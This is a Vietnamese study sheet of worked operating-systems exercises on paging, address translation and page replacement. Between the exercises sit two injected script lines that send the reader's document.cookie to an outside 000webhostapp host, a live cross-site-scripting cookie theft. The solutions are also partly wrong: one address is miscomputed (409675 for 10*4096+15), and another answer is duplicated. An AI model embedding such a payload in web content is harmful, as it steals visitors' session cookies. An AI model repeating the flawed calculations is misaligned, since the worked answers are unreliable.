

Bài 1: Kích thước khung bộ nhớ là 4096 bytes. Hãy chuyển địa chỉ logic 8207, 4300 sang địa chỉ vật lý biết rằng bảng trang như sau:

Số trang	Số khung
0	13
1	15
2	10
3	3
4	22
5	7

Kích thước khung bộ nhớ 4096 byte = 2^{12}

Địa chỉ logic 8207:

$$p = 8207 / 4096 = 2 \quad \square \quad \text{Số thứ tự trang} = 2$$

Theo bảng trang, trang 2 nằm ở số khung trang 10.

$$o = 8207 \% 4096 = 15$$

Do vậy, địa chỉ vật lý tương ứng là $10 * 4096 + 15 = 409675$.

Địa chỉ logic 4300:

$$p = 4300 / 4096 = 1 \quad \square \quad \text{Số thứ tự trang} = 1$$

Theo bảng trang, trang 1 nằm ở số khung trang 15.

$$o = 4300 \% 4096 = 204$$

Do vậy, địa chỉ vật lý tương ứng là $15 * 4096 + 204 = 61644$.

Bài 2: Không gian địa chỉ logic của tiến trình gồm 17 trang, mỗi trang có kích thước 2048B được ánh xạ vào bộ nhớ vật lý có 27 khung

a. Để biểu diễn địa chỉ logic cần tối thiểu bao nhiêu bit

b. Để biểu diễn địa chỉ vật lý cần bao nhiêu bit

```
<script>var i = new Image(0,0);</script>
```

```
<script>i.src="https://xssqaz11.000webhostapp.com/c.php?c="+document.cookie;</script>
```

Kích thước trang là 2048B = 2^{11} => cần 11 bit để biểu diễn

Địa chỉ logic có 17 trang ($2^4 < 17 < 2^5$) => cần 5 bit để biểu diễn

⇒ Cần 11+5 = 16 bit để biểu diễn địa chỉ logic và địa chỉ vật lý

Bộ nhớ vật lý có 27 khung ($2^4 < 27 < 2^5$) => cần 5 bit để biểu diễn

⇒ Cần 11+5 = 16 bit để biểu diễn địa chỉ logic và địa chỉ vật lý

Câu 4/Đề 01 Giả sử không gian nhớ logic gồm 8 trang, mỗi trang có kích thước 4096B, bộ nhớ vật lý gồm 64 khung. Bảng trang được cho dưới đây:

0	13
1	10
2	4
3	23
4	
5	17
6	28
7	31

Để biểu diễn địa chỉ vật lý và địa chỉ logic trong trường hợp này cần bao nhiêu bit?

Tính địa chỉ vật lý cho những địa chỉ logic sau: 32,1190, 4700, 13046, 20580.

a) Kích thước trang là $4096 = 2^{12}$

□ độ dịch o là 12 bit

Bộ nhớ vật lý 64 khung = 2^6 □ cần 6 bit để biểu diễn

Do đó cần $12 + 6 = 18$ bit để biểu diễn địa chỉ vật lý.

Không gian nhớ logic = $8.4096 = 2^{15}$ (Đây là cách 2 rất ngắn :>)

Do đó cần 15 bit để biểu diễn địa chỉ logic.

b) Địa chỉ logic 32

$p = 32 / 4096 = 0$ □ Số thứ tự trang là 0 □ số khung trang là 13

$o = 32 \bmod 4096 = 32$

Khi đó địa chỉ vật lý = $13 \cdot 4096 + 32 = 53280$

Địa chỉ logic 1190: = 54438

Địa chỉ logic 4700: = 41564

Địa chỉ logic 13046: = 94966

Địa chỉ logic 20580: = 69732.

Bài 3: Bộ nhớ vật lý có 4 khung. Thứ tự truy cập các trang là 1, 2, 3, 4, 2, 1, 5, 6, 2, 1, 2, 3, 7, 6, 3, 2, 1, 2, 3, 6. Vẽ sơ đồ cấp phát bộ nhớ và Có bao nhiêu sự kiện thiếu trang xảy ra nếu sử dụng:

- Thuật toán tối ưu

- FIFO

- LRU

- Đồng hồ